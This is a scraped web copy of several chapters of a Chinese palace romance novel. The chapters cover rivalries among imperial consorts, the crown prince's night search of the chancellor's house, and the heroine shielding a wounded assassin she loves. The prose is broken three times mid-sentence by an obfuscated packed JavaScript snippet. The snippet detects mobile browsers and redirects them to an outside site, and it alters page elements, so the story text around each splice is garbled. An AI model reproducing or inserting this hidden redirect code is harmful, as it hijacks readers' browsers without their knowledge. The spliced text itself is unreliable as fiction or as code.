“姐姐是知道我的,出身不高,还不得宠,膝下又没有儿子,不过一个女儿傍身,也在几年前嫁出去了。我在宫里这么多年,一直小心行事,明哲保身,别说得罪谁了,就是狠话也不曾说过半句。席容皇贵妃虽然恃宠而骄,也不是不讲道理的人,我这么一个分不了宠,碍不着事的人,也值得她费心算计吗?” 贤贵妃也疑惑了起来,“或许,真的只是谣言吧,妹妹也别忧心了,皇上已经派了使臣过去,到时候见到公主,是真是假,就都水落石出了。” “无论怎样,还请肃安王多费些心,平乐的事就拜托他了。” “妹妹放心,我已经同他交代过了,他自小和平乐一处长大,不会不上心的。” 这时,淑妃的侍女采桑在殿外回禀,“娘娘,席容皇贵妃来了。” 淑妃眉头一拧,蹭地一下站了起来,“她来做什么,撵出去!” 贤贵妃拉她坐下,“都说了,许是谣言也未可知,倘若这件事情不是席容皇贵妃做的,妹妹岂不是真把她得罪了。” 淑妃抿了抿唇,默然不语。 贤贵妃转头向采桑、采碧说道,“快请她进来吧。” 席容皇贵妃今日穿得十分素净,月白的袄,水蓝的裙,头上的发髻只用了一对贴翠莲纹银钗固定,粉黛浅施,口脂微涂,含笑走了进来。 贤贵妃向她行了一礼,席容皇贵妃连忙笑着拉起,“贤贵妃姐姐也在啊。” “本宫来看看淑妃妹妹,没想到皇贵妃也过来了。” 淑妃却没有起身的意思,红着眼圈说道,“本宫今日身子不适,就不给皇贵妃请安了,皇贵妃别怪罪。” “妹妹知道,淑妃姐姐为着公主的事,心里正不痛快,这不,妹妹特意带了样东西给姐姐解闷。” 席容皇贵妃招了招手,兰鸢立即捧了一个红漆描金缠枝罗纹的方盒上来。 淑妃探身一瞧,只见方盒里面装着一对釉色细腻的陶瓷娃娃,一个娃娃打斜坐着,吹奏筚篥,一个娃娃头向左倒,双脚翘起,欢快地拍手助兴。 淑妃从未见过两个娃娃身上的衣饰纹样,一时竟也看住,问道,“这是什么?” 席容皇贵妃笑道,“这是本宫从西域客商手里买来的,瞧着新鲜,就留下了,本宫知道淑妃姐姐一直思念着公主,虽然不能亲自去西域一趟,瞧瞧那边的东西也是好的。” 淑妃听了这话,又想起了这件烦心事,正想找她问个究竟,她张了张嘴,到底不敢撕破脸,负气地别过脸去。 贤贵妃出来打圆场道,“嗐,淑妃妹妹正为着公主的事伤心呢,你还拿这东西来招她,不是往她的伤口上撒盐吗,虽是自家姐妹,也不可开这样的玩笑,席容妹妹快快收回去吧。” 淑妃仍是侧着脸,不作声,一束阳光照在了她身上,只见她落在地上的影子微微打着颤。 席容皇贵妃面露诧异,上前拉着淑妃的手说道,“好好的,姐姐这是怎么了?” 淑妃这下再也忍耐不住,霍地立起身来,狠狠地甩开她的手,怒声道,“本宫怎么了?你说本宫怎么了?席容皇贵妃,你扪心自问,本宫可曾有什么地方对不住你,竟让你恨到了这等地步?!” 贤贵妃瞧着势头不好,连忙上去扶住淑妃,又向席容皇贵妃陪笑道,“妹妹别往心里去,她一连几个晚上都没睡好觉,有些神志不清了。” 淑妃却是铁了心,也不让贤贵妃扶,又往前逼了一步,“你若是恨我,直接害我便是,为何要去害我苦命的孩儿,她嫁到那种地方吃的苦还不够吗,你还想怎样!” 席容皇贵妃像是受了惊一般,脚下一滑,险些栽倒,幸亏兰鸢机灵,赶紧上前扶住了,再看席容皇贵妃,她今日本就穿得素净,现下眼睛忽闪忽闪,泛出了层层泪花,更显得可怜见的,“姐姐这是从何说起啊,你我无冤无仇,我害你作甚?不过是听闻你思念平乐公主,这才寻了西域的物件来哄你开心,怎么倒成了我的错了。” “平乐是从本宫身上掉下来的一块肉儿,本宫自然是无时无刻不在思念着她,可是本宫难过不是为着这个,平乐现在吃不好,穿不好,都是拜宰相所赐,本宫也想问你一句,你我无冤无仇,你害我作甚?害平乐作甚?” 席容皇贵妃捂着心口,忍泪含悲道,“真是冤枉啊,本宫从未害过平乐公主,姐姐说的这些本宫更是闻所未闻,姐姐莫不是听信了旁人的谗言,错怪了本宫。” 淑妃见她如此,一时倒不知道应该说些什么了,怔怔地愣在原地。 贤贵妃就势扶了淑妃坐下,“嗐,这都是些没影的疯话,一时传到了耳朵里,本宫也拿不准真假,正和淑妃妹妹议论着,可巧你就来了。” 席容皇贵妃思忖着道,“虽是谣言,也总得有个由头啊,凭空编了这样的话出来,谁信?” “是——”,淑妃瞅了一眼贤贵妃,见她轻轻摇头,便不吭声了,席容皇贵妃着急道,“急死人了,本宫被人泼了脏水,却连个分辨的机会都没有,真真是比窦娥还冤。” 贤贵妃微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502735|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝眸,“你真不知道?” “真不知道啊,还求姐姐可怜妹妹,别让妹妹白白冤死才好。” 贤贵妃思量了一阵,缓缓道,“这话是从长乐宫里传出来的,说是有人在西域见过平乐公主,公主穿的是破衣烂衫,住的是牛棚马厩,而造成这些的正是宰相。” “这一听就是谣言啊,平乐公主何等尊贵,又刚被皇上封为固伦公主,就是给西域可汗十个胆子,他也不敢如此造次。退一万步讲,本宫的父亲虽为宰相,却也只能管到大魏的事,如何能驱使的了西域可汗,这样荒谬的话,两位姐姐岂可轻信?” 贤贵妃点头,“的确有些说不通。” 淑妃眼底闪过一丝光亮,“阿弥陀佛,这么说,平乐很有可能没事!” 贤贵妃满眼心疼地看着她,没再说话。 席容皇贵妃接着说道,“只是,这谣言传得实在蹊跷,倒像是刻意冲着本宫而来。” 贤贵妃问道,“妹妹的意思是?” “两位姐姐仔细想想,你们若是信了这个谣言,将会怎样?淑妃姐姐一定会怨我恨我,想着怎样报复我,贤贵妃姐姐也会对我存了龃龉,那么最后受益的会是谁?” 淑妃惊道,“你是说,皇后娘娘?!” “不错,本宫虽然一向对她礼敬有加,可她却嫉妒皇上给本宫的恩宠,拉着后宫的几位姐妹来同本宫作对,想来,她也打过两位姐姐的主意吧,奈何两位姐姐是宫里难得的明白人,并不愿意同她沆瀣一气,她这才出此下策,费心挑拨我们之间的关系,等到我们两败俱伤,她好坐收渔翁之利,这样的精细谋算,除了她,本宫再想不到第二个人。” 贤贵妃揣摩着其中的利害关系,正色道,“妹妹说的也有几分道理,皇上已然派了使臣出使西域,探望公主,想来不日便会带回消息,到时候真相大白,若是其中真有奸人作祟,本宫同淑妃定然不会饶她。” 席容皇贵妃笑道,“是啊,本宫也盼着能早日听到公主的好消息,便在此祈愿公主诸事如意,顺祝肃安王一路福星。其实,在本宫心中,贤贵妃姐姐的肃安王战功赫赫,才是大魏太子的不二人选,本宫一直想和姐姐结交,只可惜没有机会。” 贤贵妃淡淡扫了她一眼,微笑道,“那便承妹妹吉言了,不过安儿勇猛有余,智谋不足,并不是太子的最佳人选,想来妹妹还年轻,将来也一定会有自己的孩子的。” “本宫若有了孩子,两位姐姐可愿意协助本宫一二吗?” 淑妃一时不知如何作答,贤贵妃仍是微笑着说,“妹妹的好意,本宫心领了,只是这么多年,本宫和淑妃都清净惯了,有些事儿,我们管不了,也不想管。不过,有一件事,本宫可以和妹妹交代明白,本宫虽然不会帮你,却也不会帮皇后,所有的主意,都只凭皇上一人做主,本宫绝不会多言,淑妃也是一样。” 淑妃在一旁点点头,“其实,我们也不得宠,也帮不上你什么,怕是辜负妹妹的美意了。” 席容皇贵妃也不勉强,只是笑笑,“以后的日子还长,不急在这一时一刻的,两位姐姐什么时候想明白了,只管再来找我,本宫会一直敞开着仪鸾宫的大门,恭候两位姐姐的到来。” 贤贵妃和淑妃都忙说“有劳”“不敢”之类的云云,席容皇贵妃又说了几句不痛不痒的客套话,便告辞了,贤贵妃和淑妃按规矩行了礼,又命丫鬟送她出去。 淑妃见她走了,有些疲惫的坐了下来,“姐姐,你说这件事情会是皇后在诬陷她吗?” 贤贵妃摇摇头,叹道,“说不准啊,谁知道呢。” “要我说,席容皇贵妃很看好肃安王,她深得皇上宠爱,又没有自己的亲生儿子,姐姐若是和她联手,她或许会扶姐姐的孩儿上位,到时候,姐姐便是太后了,姐姐就不动心吗。” “五色令人目盲,五音令人耳聋,什么权势,什么富贵,都是过眼云烟而已,我就不信,天底下会有这样的好事,席容皇贵妃说的那些,都是要付出代价的,不值当啊。”[1] 二人皱着眉头,各有各的心事,显得席容皇贵妃送来的那对陶瓷娃娃笑得有些不合时宜。 28. 顺天难顺天 雾绡委地,鲛珠缀锦,转眼已是林花谢了春红的时节。 上次一别之后,寒星再没来过烟雨阁,席容烟一开始没什么感觉,渐渐的却有些失落了,就像是一盏喝久了的茶,倏忽没了味道,不知是该撂下还是继续等待。 席容烟伏在红酸枝雕花小几上面,透过卍字棂花的窗格,痴痴看着外头的那轮月亮,那月亮圆滚滚,亮晶晶的,入眼甚是可爱,她玩心大起,系了一件西蕃纹绉纱披风就往外跑,桃夭赶紧提了灯笼,在后头喊,“姑娘慢点,别摔着。” 席容烟望着月亮出神,“桃夭,你说月亮夜复一夜挂在天上,会不会孤单?” 桃夭歪着脑袋想了想,“不会啊,天上不是还有那么多星星给它作伴呢吗。” “这么说来,月亮倒是比我幸运多了。” “怎会,姑娘有我,有老爷夫人,还有寒——” 桃夭说到这里,突然不作声了,席容烟淡淡一笑,轻声道,“他许久没来了。” “其实,他不来更好,来了又能如何,姑娘已经是许给太子的人了。” “芝兰葰茂,琴瑟相和,姻缘本是个极好的词,于我,却如牢笼一般。” 桃夭开解道,“姻缘都是天注定的,好与不好,总要嫁过去才知道,我之前也担心太子是个不好相与的主,怕姑娘到时候受罪,可上次赏花宴一见,又觉得太子这人还挺不错的,他对姑娘似乎有些情意,姑娘小心行事,再慢慢拢住他的心,想来将来的日子也不会太难过。” 席容烟低头摸着身上薄如蝉翼的纱料,神色黯然道,“月亮虽美,终归是不堪盈手赠,还寝梦佳期,罢了,我们回屋吧。” 桃夭便扶着她往屋里去,忽听得“砰”的一声,像是有什么东西摔到了地上。 席容烟止住脚步,问道,“什么声音?” 桃夭望了望院门,“声音是从门外传进来的,或许是谁不当心,跌倒了吧。” 席容烟的心不知为何慌乱起来,“我去看看。” 桃夭赶紧拉住她,“姑娘别去,这么晚了,怪吓人的。” “你若怕,就留在这里,我一个人去看。” 桃夭一跺脚,鼓足勇气跟了过去。 席容烟拔下门闩,却见寒星一袭黑衣,立在门口,看起来有些疲惫。 席容烟先是欢喜,而后表情渐渐淡漠下来,“你来做什么?” 寒星不自然地笑笑,“想你了。” “别介,我可当不起,将军还是请回吧。” 说着,便要关门,寒星连忙伸手抵住大门,“阿烟,别这样。” 席容烟一愣,这是寒星第一次唤她的闺名,她又羞又怒,用力推了寒星一下,“你是我什么人,竟敢这样唤我?” 寒星吃痛,松开了手,捂着胳膊不说话,席容烟借着月色,瞧见寒星的袖口处落下几滴黏稠的液体,她心中一颤,抬起他的手仔细检查,惊呼道,“是血!你受伤了?” 寒星抽回袖子,向后退了一步,“小伤,不要紧的。” 席容烟正要说话,却听见不远处传来了喧嚷声,她心中泛起了嘀咕,烟雨阁位置偏僻,一向肃静,此时又值傍晚,怎么会突然有这么多人漏夜而来? 晚风掠过,带来了一阵错杂的说话声。 “我亲眼看见他往那个方向去了。” “他受伤了,肯定能留下痕迹。” “快些,别让他跑了。” 寒星警惕地看向那边,“我先走了,得空再来找你。” “不,你不能走,进来。” “可是——” 席容烟不由分说,一把拉他进来,回身关上了大门。 这声音惊动了烟雨阁的一个洒扫婆子,她探着身子出来查看,“姑娘怎么了?” 席容烟一慌,连忙把寒星推到了一片树影里,自己则挡在他身前,“睡不着,出来逛逛,嬷嬷快睡吧。” 婆子揉了揉眼睛,“姑娘后头好像还有个人。” 桃夭站出来道,“嬷嬷眼花了吧,那是姑娘的影子落在了墙壁上头,大半夜的,你还说这些瘆人的话,一会儿姑娘要是睡不着,都是被你搅的。” 婆子赶紧告罪,转身回去继续睡了。 席容烟松了口气,便要拉寒星进屋,寒星执意不肯,“我还是走吧,别连累了你。” 席容烟佯怒道,“要是走了,就再别来。” 寒星无奈,只得跟她进了内室。 席容烟小心翼翼地挽起他的袖子,举着烛火一看,不觉呆住了,寒星的胳膊上有个碗大的口子,血肉模糊之间,隐约可见露出来的森森白骨。 席容烟颤声道,“哎呀,这是怎么弄的?!桃夭,快拿药来。” 寒星不以为意地笑笑,“没事,真的只是小伤,要不了命的。” “你是不是又去杀人了!” “主公的吩咐,我不能不从。” “难道他让你做什么,你就做什么吗。” “当然。” 席容烟眸光一动,她俯身凝视着他的眼睛,“那如果有一天,他让你杀了我呢?” 寒星怔住,她的唇离他那样近,他只消稍稍起身,便能采撷到那朵流着香气的醉人嫣红。 席容炎正在席容夫人房中歇息,听到下人禀报,匆匆披了件元色大氅,便往烟雨阁来。 “不知太子殿下驾到,臣真是有失远迎,殿下深夜来访,究竟所为何事啊?” 魏晗烨一袭月白色缂丝银纹暗花长袍,腰际悬了一枚祥云镂雕麒麟玉佩,他负手站着,缓缓道,“宰相有礼了,孤是来捉拿杀人凶手的。” “殿下真会说笑,这里是宰相府,哪有什么杀人凶手啊?” 魏晗烨冷冷一笑,“孤可没有心情说笑,袁青,你来说。” 袁青上前拱手道,“宰相大人,就在刚刚,西域客商刘言敬在自己的房间中被人杀害,就连奉旨保护刘言敬的两名御前侍卫也一并遇害,顺天客栈乃是京城的第一大客栈,治安一向不错,却在一个晚上连死三人,着实有些蹊跷。” 席容炎耸了耸肩,将身上披着的大氅捋得平整了些,“西域客商?嗯,这些做生意的人,南来北往的,又都是为着挣钱,没准什么时候就结下了仇家,这也不算什么稀奇事吧。” “刘言敬若只是个客商,孤也不必为着这种事亲自跑这一趟了,他前些日子刚在长乐宫面见父皇,回禀了有关平乐公主的事,父皇还有好多细节没问清楚,刘言敬今天夜里就遭此横祸,宰相以为,这件事还像你说的那么简单吗?” “微臣曾在刑部供职,知道断案的规矩,凡有案件,或由刑部审判,或由大理寺复核,总归没有太子殿下亲自出来断案的道理,况且殿下深夜擅闯宰相府,这也不合规矩吧。” “孤今夜虽是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502736|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请自来,却也是事出有因,客栈的伙计亲眼瞧见了刘言敬房中的打斗,第一时间报了官,孤当时正好听见,急忙和袁青赶了过去,可惜略晚了一步,让凶手逃掉了,不过,袁青在凶手逃跑的时候重重刺了他一剑,又跟着他一路追到了宰相府。” “那么,敢问殿下捉到凶手了吗?” “尚未。” “既然如此,殿下来也来了,查也查了,现下并无所获,也该解了心疑了吧。” 魏晗烨指指院门上头的匾额,“附近的确搜查过了,只是这一处,孤还不曾搜过。” 席容炎抬头看了一眼,笑道,“殿下可知,这烟雨阁里所住何人啊?” “不论这里所住何人,孤都要一查到底,孤已经命人将这里团团围住,料想那凶手定然是跑不掉的,宰相不会想要阻拦吧?” “臣不敢阻拦,只是为殿下计,此处还是不查为妙啊。” “宰相此言何意?” 席容炎嘴角勾了勾,“烟雨阁里住的是殿下未来的妻子,大魏未来的太子妃——席容烟,她一个尚未出阁的小姐,怎可轻易抛头露面,让这些外人瞧见,这不仅仅有损席容家的名声,更是关乎着殿下的颜面,皇家的颜面啊。” 魏晗烨转了一圈手上的白玉扳指,沉吟道,“天子犯法,与庶民同罪,她虽是太子妃,却也不能因为这个避开搜查,她若的确无辜,孤也不会因为这件事嫌弃她,袁青,搜吧。” 袁青得了吩咐,上前一步叩门,等了一会儿,门内依旧没有回应,袁青便招呼侍卫踹门。 席容炎急了,伸手指着魏晗烨带来的侍卫们,怒声呵斥,“这里可是宰相府,我看你们谁敢乱来!” 魏晗烨怫然不悦,“宰相这是何意?宰相屡屡阻拦,莫非是因为凶手就藏在宰相府中,就连刘言敬的死也是宰相一手谋划的?刘言敬生前曾向父皇说起平乐公主在西域过得很不如意,还说公主的境遇似与宰相有关,如今想来,刘言敬此言只怕不虚。” “殿下莫要信口雌黄,污臣清白。” “既然宰相清清白白,又何惧搜查呢?” “微臣虽比不上殿下身份尊贵,却也是堂堂的大魏宰相,位列百官之首,岂可让人肆意搜查,殿下一无证据,二无皇上的旨意,擅闯宰相府已属不妥,现下还要搜查小女的闺房,毁了小女的清誉,臣虽卑微,也断不能平白遭受此等屈辱。” 袁青道,“大人这话就差了,殿下早就说过,今日漏夜前来是为了查案,并非大人所说的擅闯,凶手杀人之后,一路逃窜至此,这些都是我亲眼所见的,又怎能说没有证据。” “夜黑风高,谁都有眼拙的时候,看花了眼也未可知,更何况,你不过是太子殿下身边的一个侍卫,你说的话也能算作证据吗?” “你——” 魏晗烨摆了摆手,示意袁青噤声,“袁青是孤身边最信任的人,孤愿意相信他说的话,宰相如此说,是想质疑孤的识人之术,还是觉得孤在刻意冤枉你啊?” “臣不敢,不过,殿下今夜若是大肆搜查了,只怕皇上那边会不好交代。” “这个就不劳宰相费心了,孤过后自会向父皇请罪的,得罪了。” 魏晗烨说完,就向袁青使了个眼色,袁青立即带着几个侍卫上前,预备合力把院门撞开。 这时候,门突然开了,几个侍卫吓了一跳,不由得纷纷往后退了一步。 29. 月魄染星魂 席容烟一袭茜红撒花叠丝罗石榴裙,头戴帷帽,腕缠珊瑚,款款走了出来,屈膝行礼道,“臣女见过太子殿下。” 魏晗烨见她如此明艳,忍不住多看了她两眼,声音略微和缓了些,“免礼。” “方才的事,臣女在里面都听到了,臣女保证,烟雨阁绝对没有藏匿什么凶手。” “是吗?” “是。” 魏晗烨微微一笑,目光停留在眼前的一块砖上,他蹲下身子,用帕子沾取了几滴猩红,亮给她看,“那么,姑娘怎么解释这些血迹?” 席容烟轻声道,“殿下一定要臣女解释吗?” “当然,否则孤会以为,这些血是凶手因为受伤流下的。” 席容烟不慌不忙地卷起衣袖,露出右手手腕上头缠着的厚厚一圈白色绶带,“臣女方才不慎伤了手腕,因为包扎得不及时,不经意间在这里流下了几滴血。” 魏晗烨瞥了一眼,嗤笑道,“烟姑娘该不会以为,拿衣裳带子随便缠上几圈,就能偷天换日,蒙混过关了吧。” 席容烟并不作声,只是颤着手将绶带缓缓解开,一层,又一层,白色缎料上面渐渐出现一圈淡淡的血红色,这颜色越来越浓,直到最后绶带落尽,露出了一弯深深的伤口。 狭长状的伤口像是一钩血月,卧在她细腻如玉的肌肤上,红得刺眼,白得醒目。 魏晗烨不禁皱了皱眉,上前抬起她的手腕,动作温柔地帮她重新缠好,“怎么伤的?” “做嫁衣的时候,不小心走了神,就伤着了。” “为什么不请太医过来,包扎得这么潦草,万一留下疤痕可怎么办。” “太晚了,不愿惊动别人,原想着明天再请的。” 魏晗烨有些心疼,看向她的目光柔得像水一样,他心想,她一介孤女,寄居在席容炎的府里,定然是受了不少委屈,说起来也是个可怜人。 袁青见他失神,出声提醒道,“殿下。” 魏晗烨将她的伤口缠好,又细心的帮她撂下衣袖,四下望了望,方道,“血迹的事虽然有了缘由,可是凶手尚未归案,烟雨阁仍有重大嫌疑,孤不能不查,这也是为了姑娘的安全着想,希望姑娘可以体谅。” 席容烟微微屈膝,“殿下若是实在不放心,命人进来搜查就是,如此,也能还臣女一个清白。不过,希望殿下莫要让这些人搜查内室,毕竟是臣女的闺房,不可叫人随便瞧见。” 魏晗烨听她如此说,犹豫了起来,他原本以为自己不在乎她的名誉,可是当她挽起袖子,将自己的肌肤在这么多人面前露出的时候,他还是有些气恼。 她虽然戴着帷帽,却也不过是一层薄纱,又在灯火下面照得通透,聊胜于无而已,可偏偏还是他把这些人带过来的,他的气恼就像是拳头打在了棉花上头,软绵绵的没有力气。 袁青见状,忙道,“殿下,内室虽小,却也是能藏住人的,殿下不能不查啊。” 魏晗烨看着她,慢声道,“好,孤就如姑娘所愿,袁青,带上人,进去仔细搜查一遍,除了烟姑娘的内室,每个角落都不要放过。” 袁青虽然不情愿,却也没敢说什么,领着侍卫们进去了。 席容炎一直悬着个心,此刻才稍稍松了一口气,却又见魏晗烨上前轻轻扶起她,说道,“姑娘是孤未过门的妻子,想来姑娘的闺房,虽然旁人不可擅闯,孤却是不必避讳的,那就劳烦姑娘带路,引孤亲自去搜上一搜。” 席容烟咬咬唇,踌躇半日,重重说了一个“请”字,席容炎心里着急,也却无可奈何,只能在外面干等着。 烟雨阁的丫鬟婆子都被惊醒,垂手站在院里,大气也不敢出,由着这些侍卫乱翻一气,席容烟瞧着,不觉想起了梦里的情形,身子颤抖了起来。 魏晗烨微微蹙眉,唤了袁青过来。 “只是捉拿凶手,又不是抄家,不可造次,惊了姑娘。” 袁青应了声是,仔细吩咐了下去,这些侍卫果然规矩了不少。 席容烟报之一笑,算是谢过,引着魏晗烨迈进正堂,绕过屏风,在内室门口止住了脚步。 “殿下请。” 魏晗烨微微颔首,抬手掀开冰透的水晶帘,便见房间正中是一架金丝楠木垂花拔步床,上头悬着天青色的软烟罗纱帐,底下铺着竹月地平金绣曲水纹锦衾,床上似是挂了香囊,又或是用的香枕,一股淡淡的芸香散开,甚是好闻。 再往前来,右侧临窗是一张紫檀镶云石莲花纹鼓腿罗汉床,上置一个小几,案上摆着错银梅花纹琉璃香炉,炉中燃烧的熏香气味奇异,浓的仿佛化不开似的,他只觉得有一种甜腻缓缓沁入鼻息,有些呛人,又有些叫人留恋。 左侧壁上一幅《洛神赋图》,画风古拙,线条流畅,整个画卷浑然天成,朦朦胧胧之际,神女似是要从画中飘出一般,魏晗烨看了一时,笑道,“转眄流精,光润玉颜,含辞未吐,气若幽兰,华容婀娜,令我忘餐。顾恺之画得真是绝了,只可惜没能留下真迹,宫里的画院也有几幅摹本,倒还不如你这幅自然,你若喜欢,孤日后带你去看。”[1] “那臣女先谢过殿下了。” “此处无人,怎的还称臣女,该说一声臣妾才是。” “臣女虽已许给殿下为妻,到底还未过门,孔孟之道,臣女不敢不遵。” 魏晗烨暗悔失言,自己平时并不是这样不知轻重的人,也不知今日是着了什么魔,竟然像个登徒子一般,在言语上轻薄了她,他尴尬地咳了一声,继续打量着屋中陈设。 画下是一张高二尺八寸的黄花梨琴桌,四面平式,两卷角牙,方胜纹样的郭公砖镶面,底下方形直腿,镂有浮雕,琴桌上供着九霄环佩,一边一囊白菊,绣球团似的开得十分可爱。 琴桌里侧是黄花梨明式品字栏杆的书架,上头磊着满满的书,书边儿微微卷着,应当是翻过许多遍。外边置了一个汝窑的荷花缸,魏晗烨探身一瞧,缸中并未储水,只在缸底横了几支枯荷,他不觉感慨道,“眼下已非荷花盛开的时节,这一处的景致倒是荒芜了。” “盛夏的时候养了月余,后来开败了,也不舍得丢掉,便搁在这儿了。” “你案上供着白菊,缸中养了荷花,孤才刚从外头过来的时候,瞧见院里似乎还有桃树,桂树,所谓花如其人,人如其花,不知姑娘最喜欢哪一种花呢?” “世人皆道,菊花凌寒傲霜,是为花中隐士,荷花纤尘不染,是为花中君子,桃花夭夭灼灼,面如美人,桂花时值科举,象征文人,倒是给所有的花都寻了一个好去处。” “不错,唐寅曾说,桃花谷里桃花仙,桃花美人树下眠,这样说来,姑娘是最爱桃花了?”[2] “桃花虽美,却总有凋零的时候,唐寅也曾说过,自是节临三月暮,何须人恨五更风,到时候碎红满地,瓣泪点点,美人也成了病美人了,又有什么好欢喜的。”[3] “若说这个,月季易活,四季开花,松柏长青,不畏冬寒,只是,姑娘屋中似乎并没有种植这些,孤有点不明白姑娘的意思。” “四时自有四时的景致,开落皆有定数,败了也不可惜,就说桃花吧,桃花芳芳水茫茫,桃花扇底春风凉,桃花染襟无意赏,桃花流水又何妨?我并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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席容烟此番虽是刻意为之,可被他这么压着,还是有些不自在,她一下子想起了第一次同他见面的场景,也是这般模样,真是羞死人了,可她又不敢动,生怕一动,就叫他发现了藏在拔步床顶上的寒星,只能僵着身子,努力贴紧床面,尽可能为自己多争取一点空间。 魏晗烨知道自己又一次失礼了,虽然心中抱歉,身体却不愿起来,他看着她的灿若流霞的脸颊,想起二人初见那日,他也是这般压着她,那时只是无心之失,现下却是有意为之,他刚才明明可以站住,甚至还可以拉着她一起站住,可他却顺势同她倒在了床上。 锦衾软软的裹着她,她又软软的裹着他,他的心都要化了,就这样,一起沉沦下去吧。 袁青的声音不合时宜的传了过来,“殿下,都搜过一遍了,没有找到凶手。” 魏晗烨暗骂,“真是没有眼色。” 席容烟暗庆,“还好还好,有救了。” 魏晗烨恋恋不舍地扶着围廊站了起来,袁青见他没有回复,更急了,“殿下没事吧。” 魏晗烨担心袁青下一秒就会踹门进来,只得一面向外头走,一面沉声道,“没事”。 魏晗烨推开门,刚迈了一只脚出去,却又站住了,回头对席容烟说道,“今夜搅扰了,姑娘不要怪罪。” 席容烟勉强挤出一丝笑容,“不怪罪,殿下慢走。” 席容烟看见他和袁青走远了,终于松了一口气,才关好门,一转身,便见寒星已经翻身下来了。 寒星铁青着脸,像是受了莫大的委屈,席容烟一愣,突然明白过来,他这是吃醋了,不觉失笑,“还不是为着救你,你还急了。” 30. 星魂拥月魄 寒星没有作声,他拿起案上的香炉,眉头微皱,“这是什么?” “不知道,母亲昨日拿过来的,她说这香有凝神静气的功效,还要我以后在东宫多用。” 寒星仔细嗅了嗅,眉头皱得更紧了,席容烟看他神色不对,忙问,“这香是有毒吗?” “无毒。”寒星顿了顿,又道,“只是里面掺入了龙涎香,晚香玉,三角莲,这些都是有助于床笫之欢的香料。” 席容烟没听懂寒星的话,愣了片刻,突然想起席容夫人送给她的那本书,又联想魏晗烨方才的言行举止,这才渐渐明白了一点,疑惑道,“可是,我为何无事?” “此香,只对男子起作用。” 席容烟淡淡“哦”了一声,忽又警惕起来,“那你——” 寒星嗤道,“这香对我没用,我是一个心冷身冷之人,早就百毒不侵了。” 席容烟将信将疑地打量了他半晌,见他一切如常,这才信了,“方才真是好险,差一点就要被他发现了,对了,你方才怎么流血了,是不是伤口又裂开了,让我看看。” 她卷起他的袖子,却见伤口上的白布干干净净,并没有什么血迹。 寒星有些尴尬,他背过手去,“我鼻衄了,刚刚点了两个穴位,才止住了。” “鼻衄?为什么会鼻衄?” 寒星更尴尬了,抬手灭了香炉里的炭火,又打开了窗子,“许是热的罢。” 席容烟不疑有他,取过那件沾了血的西蕃纹绉纱披风,裹在身上,“若不是给你包扎的时候染上了血迹,我才不会匆匆忙忙换了一件石榴裙呢,冷死我了。” 寒星面有愧色,忙又关上窗子,伸手环着她走到拔步床的浅廊里,动作轻柔地扶她坐下,自己则半跪着查看她腕上的伤口,“就说是过路人留下的血迹,不就完了,何苦伤了自己。” “我若不伤了自己,他怎能真正相信,虽有些疼,和你的伤比起来也不算什么。” “我就是干这行的,受伤都是寻常事,你身娇体贵,怎能和我比,要动手也不提前跟我说一声,万一割错了地方,落下病根可怎么办?” 席容烟笑了,柔声道,“你怕吗?” 寒星不解,“怕什么?” “我对自己都这样狠,你就不怕,若是有一天你负了我,我要了你的命?” “嗤,就这,有什么好怕的,我若是怕,岂不是枉活了这二十余年。” 席容烟有些失落,她知道,寒星说得没错,他干的都是刀头舔血的营生,什么大风大浪没见过,什么大伤小伤没受过,怎么会怕她呢? 寒星抬头看她,眸子澄明而又坚定,“不过,阿烟,我不会负你,绝不会。” 她怔住,这是寒星第二次唤她“阿烟”,这一次,她没有辩驳,算是默认了他们的关系,她凝眸看他,“你还没回答我的问题,如果有一天,父亲让你杀我,你会作何抉择?” 依旧是这个问题,抬头依旧是那抹流着香气的醉人嫣红,只是一个时辰之前,她站着,他坐着,而现在,她坐着,他跪着,一切都变了,一切又都好像没变。 寒星不再犹豫,毫无顾忌地吻了上去,冰火相融之际,他听见她含混道,“回答我。” 他轻笑,“阿烟,我就算杀尽天下人,也不舍得伤你半分。” 她仍是不放心,紧紧咬着牙关,不肯松开半厘,“那若是我负了你,你会如何?” 寒星如同蜻蜓点水一般,用舌轻轻撬开她的瓠犀皓齿,“你便是要我的命,我也给你。” 胭脂醉,朱红褪。 她不再躲闪,由着他在她的唇上肆意侵占。 这一吻,好慢,好长,落叶无声,去水无痕,花开花谢浑不觉,烟升星落予经年。 她从前读过一首诗,诗云,“上邪!我欲与君相知,长命无绝衰。山无陵,江水为竭,冬雷震震,夏雨雪,天地合,乃敢与君绝。”那时她只觉得太过夸张,多少年月,才能山平水枯,天合地合,而今,却再没有比这几句话更应景的了。[1] 他的眸如山,她的唇似水,冷峻如斯,却也敌不过她的万般柔情。 说来好笑,起初明明是他进她退,他攻她守,可渐渐的,她伸手环住他的脖颈,似是给予,又似掠夺,他则败下阵来,落了下风,其实,他从一开始便输了,而她,又何曾赢过。 